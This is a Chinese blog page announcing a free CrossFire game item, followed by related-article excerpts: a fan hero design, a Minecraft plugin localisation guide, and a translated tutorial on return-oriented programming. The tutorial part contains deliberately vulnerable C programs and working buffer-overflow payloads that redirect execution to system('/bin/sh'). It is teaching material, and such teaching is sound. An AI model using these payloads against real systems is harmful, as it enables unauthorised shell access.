CF免费限时领取永久黄金平底锅 - 剑客网

2018年1月30日 0条评论

CF免费限时领取永久黄金平底锅

活动地址：//cf.qq.com/cp/a20180124brisk/index.htm

作者信息

江湖剑客 3596篇文章 735条评论 TA主页联系Ta

描述: 一起用互联网帮助更多人

本文标签：

本文链接：CF免费限时领取永久黄金平底锅 - http://www.go176.net/post-3353.html

相关文章

大家好，今天王者英雄DIY又与大家见面了，想必大家都知道三国时期的蜀国五虎将，其中的四员大将都出现在了王者荣耀峡谷，当然马超也不甘寂寞，主动找到喵殿召唤师，想让喵殿召唤师把他也带到峡谷，经过喵殿的冥思遐想终于让马超登陆了峡谷，在这里我就不多说了，直接看精彩内容吧！王者荣耀马超人物原画曝光新英雄马超角色爆料注：【王者英雄DIY】中所有出现的英雄均为YY产物，与《王者荣耀》游戏策划动作完全无关。如有雷同，纯属翻车。苍雪之骑一一马超定位：法师／战士特长：先手／团控技能简介被动：魂·冰魄一一敌军对马超造成伤害时将被减速并降低攻速，此效果与造成的伤害成正比（3％己损生命＝1％减速＝1％降低攻速），单个英雄对马超的持续伤害超过30％生命值时会被冰封1·5秒，并且，马超对冰封的敌人每次攻击都会无视等同于自身己损生命值（百分比）的护甲与魔抗（不与破甲弓，法穿杖叠加）。一技能：寒·冰语一一马超举枪向前突刺，刺穿敌方造成（220／340／460／580／630／780＋1ap）法术伤害并减速10％~60％，若同时刺穿多名目标，则减少该技能（敌军数量）X1冷却，敌军3秒内被冰语刺穿3次将冰封1秒。CD：8秒二技能：霜·星落一一马超化冰为铠化雪为袍，霸体并获得免伤5％／10％／15％／20％／25％／30％，持续3秒，在这段时间中，马超所处的区域（范围200）将落下冰晶，此范围内停留1·5秒的敌军将被冰封1秒，每冰封一人则减少冰语10％冷却。CD：15／14／13／12／11／10秒三技能：大地哀歌·寒冰盛宴一一马超原地短暂蓄力掷出长枪，刺穿前方墙壁形成一段缺口（10秒内，友军可无视地形穿过这里并获得10％／20％／30％移速加成）长枪继续前进，在命中敌军或达到最大射程（2500）时停滞，并对落点造成（240／360／480＋0·8ap）点小范围法术溅射伤害；再次使用大地哀歌，马超可选择出现在离枪200码处，并能收回长枪，在5秒内可用枪轰击并撕裂一片地面，引出5／8／12道冰川封锁这片区域（非位移或穿透型技能不可进出冰川），若被冰川直接命中则造成（300／400／500＋100%ap）法术伤害并冰封1·5秒，若冰川命中多名敌方英雄，马超将开启寒冰盛宴，他将向最近英雄逼近并击碎冰川，对范围内敌军造成（230／360／490＋0·9ap）法术伤害并减少区域内所有敌军10％／20％／30％移速，3秒内再次使用寒冰盛宴，碎裂的冰川将瞬间爆炸，化为漫天飘零的冰晶碎片，冰爆次数等于（被冰川冻住的人x3），每次造成（100／200／300＋0·4ap）法术伤害，若敌军被3次以上冰爆命中将冰封1秒，马超击杀被冰冻目标将减少所有技能10％冷却。（大招施法前摇时可打断）CD：90／80／70秒以上就是喵殿玩家的脑洞大开，除了满满的佩服再无别的了，对于这样优秀的DIY，利维坦是有必要必须给刊登出来的，同样也希望更多的召唤师可以在文章下把自己的想法写出来，让DIY专栏能更加的丰满出彩！
王者英雄DIY：不灭的西凉梦，苍雪之骑-马超
- 江湖剑客
- 2017-3-16
前言不可否认的是，不管是CTF赛事，还是二进制漏洞利用的过程中，ROP都是一个很基础很重要的攻击技术。这一段是译者自己加的，与原文无关。 ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。另外译者推荐，如果想更好的学习ROP技术，可以参考蒸米大神的一步一步学ROP系列文章，请自行查找。 ROP是一种攻击技术，其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前，立即间接地执行精心挑选的指令或机器指令组。因为所有执行的指令来自原始程序内的可执行存储器区域，所以这避免了直接代码注入的麻烦，并绕过了用来阻止来自用户控制的存储器的指令的执行的大多数安全措施。因此，ROP技术是可以用来绕过现有的程序内部内存的保护机制的。在学习下面的内容之前，先确保自己已经了解了基本的堆栈溢出的漏洞原理。一个简单的经典缓冲区溢出例子 1 2 3 4 5 6 7 8 9 10 #include <unistd.h> #include <stdio.h> void vuln(){ char buffer[10]; read(0,buffer,100); puts(buffer); } int main() { vuln(); } 这个程序有明显的缓冲区溢出攻击。在vuln()函数中设置了10个字节的缓冲区，而我们读取的字节高达100个字节。read()的滥用导致了缓冲区溢出。我们可以看看vuln函数调用时候，堆栈的情况： 1 2 3 4 5 6 7 8 ADDRESS DATA 0xbfff0000 XX XX XX XX <- buffer 0xbfff0004 XX XX XX XX 0xbfff0008 XX XX XX XX 0xbfff000c XX XX XX XX ........ 0xbfff0020 YY YY YY YY <- saved EBP address 0xbfff0024 ZZ ZZ ZZ ZZ <- return address 当缓冲区填充正确的大小时，可以修改保存的返回地址，允许攻击者控制EIP，从而允许他执行任意任意代码。缓冲区溢出防御措施但是，在现代的系统中，有一些防御措施可以避免被攻击: ALSR Stack Canaries NX/DEP 防御措施大概有这些内容，原文作者只是简单的介绍了一下，如果想更清晰了解，可以参考译者博客。 NX/DEP DEP表示数据执行预防，此技术将内存区域标记为不可执行。通常堆栈和堆被标记为不可执行，从而防止攻击者执行驻留在这些区域的内存中的代码。 ASLR ASLR表示地址空间层随机化。这种技术使共享库，堆栈和堆被占用的内存的地址随机化。这防止攻击者预测在哪里采取EIP，因为攻击者不知道他的恶意有效载荷的地址。 Stack Canaries 下文简称为:Canary 在这种技术中，编译器在堆栈帧的局部变量之后和保存的返回地址之前放置一个随机化保护值。在函数返回之前检查此保护，如果它不相同，然后程序退出。我们可以将它可视化为: 1 2 3 4 5 6 7 8 ADDRESS DATA 0xbfff0000 XX XX XX XX <- buffer 0xbfff0004 XX XX XX XX 0xbfff0008 XX XX XX XX 0xbfff000c CC CC CC CC <- stack canary ........ 0xbfff0020 YY YY YY YY <- saved EBP address 0xbfff0024 ZZ ZZ ZZ ZZ <- return address 如果攻击者试图修改返回地址，Canayr也将不可避免地被修改。因此，在函数返回之前，检查这个Canayr，从而防止利用。那么我们如何绕过这些防御措施呢？ Return Oritented Programming (ROP编程) ROP是一个复杂的技术，允许我们绕过DEP和ALSR，但不幸的是（或对于用户来说幸运的是）这不能绕过Canary，但如果有额外的内存泄漏，我们可以通过泄露，leak canary的值和使用它。 ROP re-uses ，即我们可以重用Bin文件或者Libc文件(共享库)中的代码。这些代码，或者说指令，通常被我们称作“ROP Gadget”。下文，我们将来分析一下，一个特殊的ROP例子，我们称作Return2PLT。应该注意的是，只有libc基地址被随机化，特定函数从其基地址的偏移总是保持不变。如果我们可以绕过共享库基地址随机化，即使ASLR打开，也可以成功利用漏洞程序。让我们分析下，下面这个脆弱的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> void grant() { system("/bin/sh"); } void exploitable() { char buffer[16]; scanf("%s", buffer); if(strcmp(buffer,"pwned") == 0) grant(); else puts("Nice try\n"); } int main(){ exploitable(); return 0; } 我们上文说了，ROP技术并不能绕过Canay保护措施，所以我们编译这个程序的时候需要关闭对战保护程序。我们可以利用下面的命令编译。 1 $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32 译者的程序分析我先看看代码，再翻译作者的文章。我们看到，在exploitable()函数中，设置了16字节的缓冲区，但是值得我们注意的是scanf函数没有安全的使用，这导致我们可以写入超过16字节，这就导致了缓冲区溢出的可能。我们用注意到，有个函数调用了sytem("/bin/sh")，这里我们就可以假设，如果我们可以操作函数调转，去调用grant()函数，我们就可以拿到shell了。基本上思路就是这样的。读取程序的内存映射，我们可以看到它的栈是只读/ 不可执行的。让我们尝试控制EIP 由于scanf不执行绑定的check，因此我们可以通过覆盖函数的返回地址来指向某个已知位置来控制EIP。我会尝试指向它grant()达到getshell的目的。我们可以通过objdum工具，来获取grant()的地址。除了利用objdump来看，当然我们还是可以用IDA查找的。 objdump命令如下 1 $ objdump -d ./hack_me_2 | grep grant 结果应该看起来是这样的 1 2 080484cb <grant>： 8048516：e8 b0 ff ff ff call 80484cb <grant> 接下来就是写exp，达到目的了。 1 $（python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat - ）| ./hack_me_2 这里译者补充几点第一: 为什么是28个字节？这个是需要我们自己去分析的，我们需要计算两者直接字节数的值，才好控制跳转，毕竟本文是基于我们了解缓冲区溢出知识后的，如果有疑问，可以留言，或者自寻百度。第二: 从代码来看，我们可以知道原文作者的环境是基于32位的，所以这里需要了解一下小端的知识。运行上述代码之后，我们就可以成功getshell了。很明显，大多数程序不会为你调用shell这个很容易，我们需要修改程序让demo更贴近现实一点。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> char *shell = "/bin/sh"; void grant() { system("cowsay try again"); } void exploitable() { char buffer[16]; scanf("%s", buffer); if(strcmp(buffer,"pwned") == 0) grant(); else puts("Nice try\n"); } int main(){ exploitable(); return 0; } 运行先前的exp，我们发现并没有getshell，那么我们怎么去调用sysytem(“/bin/sh”)呢？分析，这次的程序并没有直接调用 system("/bin/sh")了，但是漏洞产生的原理和之前的一样。就不再复述了。调用函数约定当反汇编我们的代码看起来像这样的: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 080484cb <grant>： 80484cb：55 push％ebp 80484cc：89 e5 mov％esp，％ebp 80484ce：83 ec 08 sub $ 0x8，％esp 80484d1：83 ec 0c sub $ 0xc，％esp 80484d4：68 e8 85 04 08 push $ 0x80485e8 80484d9：e8 b2 fe ff ff call 8048390 < system @ plt> 80484de：83 c4 10 add $ 0x10，％esp 80484e1：90 nop 80484e2：c9 leave 80484e3：c3 ret 080484e4 <exploitable>： 8048516：e8 b0 ff ff ff call 80484cb <grant> 804851b：eb 10 jmp 804852d <exploitable + 0x49> 让我们简单看看每个指令的作用。在可利用的情况下，我们调用grant（）使用指令去做两件事情，推送下一个地址0x0804851b到堆栈，并更改EIP为0x080484cb 到grant()所在的地址 1 2 push %ebp mov %esp,%ebp 这是函数的初始化。它为当前函数设置堆栈框架。它通过push之前保存的一堆栈帧的基指针，然后将当前基指针更改为堆栈指针（$ ebp = $ esp）。现在grant（）可以使用它的栈来存储变量和whatnot。之后，它通过从esp中减去来为局部变量分配空间（因为堆栈增长），最后0x080485e8在调用之前将地址压入堆栈，system()它是指向将作为参数传递的字符串的指针system()，它有点像 1 system(*0x80485e8) 最后ret，将保存的函数返回地址从堆栈的顶部pop出值到EIP。构建我们自己的堆栈帧我们已经看到了当函数被调用时堆栈的行为，这意味着我们可以构造我们自己的堆栈帧控制参数到我们跳转到的函数确定此函数返回的位置如果我们控制这两者之间的堆栈，我们可以控制返回函数的参数通过ROP链接在多个函数中跳转从objdump我们看到“/ bin / sh”的地址是 0x080485E0 1 2 3 4 5 6 7 $ objdump -s -j .rodata hack_me_3 hack_me_3: file format elf32-i386 Contents of section .rodata: 80485d8 03000000 01000200 2f62696e 2f736800 ......../bin/sh. 80485e8 636f7773 61792074 72792061 6761696e cowsay try again 80485f8 00257300 70776e65 64004e69 63652074 .%s.pwned.Nice t 8048608 72790a00 我们构造一个“假”的堆栈结构，然后修改函数的返回地址，这样的堆栈结构如下: 1 2 3 4 5 6 7 ADDRESS DATA ........ // exploitable() stack 0xbfff0004 80 48 4d 90 <- return address // our frame 0xbfff0008 41 41 41 41 <- saved return pointer, system() 0xbfff000c 08 04 85 E0 <- "/bin/sh" 所以以，当函数exploitable()返回时，它返回system()，将看到它返回地址为41414141和参数为“/bin/sh”，这将产生一个shell，但是当它返回时会弹出41414141到EIP，它是一个有效的地址，我们可以ROP连接他们，只要他们不需要参数。所以，我们最后的利用代码是: 1 $（python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3 参考文献 //sploitfun.wordpress.com/ //blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/ //crypto.stanford.edu/~blynn/rop/
【技术分享】ROP技术入门教程
- 江湖剑客
- 2017-3-7
1.前言: 最近在本论坛浏览关于汉化Multiverse-Core的世界名教程时，发现某位大神已经发过教程了（教程地址）不过我看了以后觉得说的不全，于是决定把教程说完整一些！ 2.工具: Multiverse-Core插件（以下简称多世界插件）是一款能够创建新的世界并可以载入自己的存档，还可以使用种子创建世界，最最最重要的是它还能让你的世界有一个自定义的名字！（更多的功能请戳下面的地址进入了解） 3.教程: 好了，废话不多说，开始教程正篇（1）下载并安装多世界插件（这个不用我说怎么安装了吧）（2）找到Multiverse-Core目录下的worlds.yml （3）若是面板服最好下载到本地弄（4）打开worlds.yml 这里必须要Notepad++弄，不然及其容易造成错误！一定要记得备份！！！（5）看内容，找到你想汉化的世界（6）找到里面的alias: ''" 重头戏来了！ *（7）如果服务器机器的系统是Linux，就在里面直接填上中文（可加颜色符号），如果你服务器机器的系统是Windows，则需要转码为Unicode（转码地址）才能填进去，切记！（不懂系统的可以问问服务商） *（8）检查 alias: 后面的内容，先把原来的世界名删除，然后服务器的系统是Windows后面则用" " 如果服务器的系统是Linux后面则用' ' *（9）现在发一张示范照（由于我的服务器是Linux系统的，所以直接填写中文无问题） *（10）接下来保存，如果是服务器机器的系统是Linux保存为UTF-8，服务器机器的系是Windows则需保存为ANSI，切记！否则worlds文件会乱码或崩溃！ *（11）接下来进游戏输入/mv reload重启就好了（如果没有显示世界名就是你配置文件写错了） ps：我摸索出一个规律，只要你重载配置文件秒好的基本都是错误的，几秒钟才好的就是成功了！ 4.篇后语: 此篇教程理论适用于除1.6.4外的版本（未验证）
【Multiverse-Core】多世界插件汉化世界名教程
- 江湖剑客
- 2016-10-22

去顶部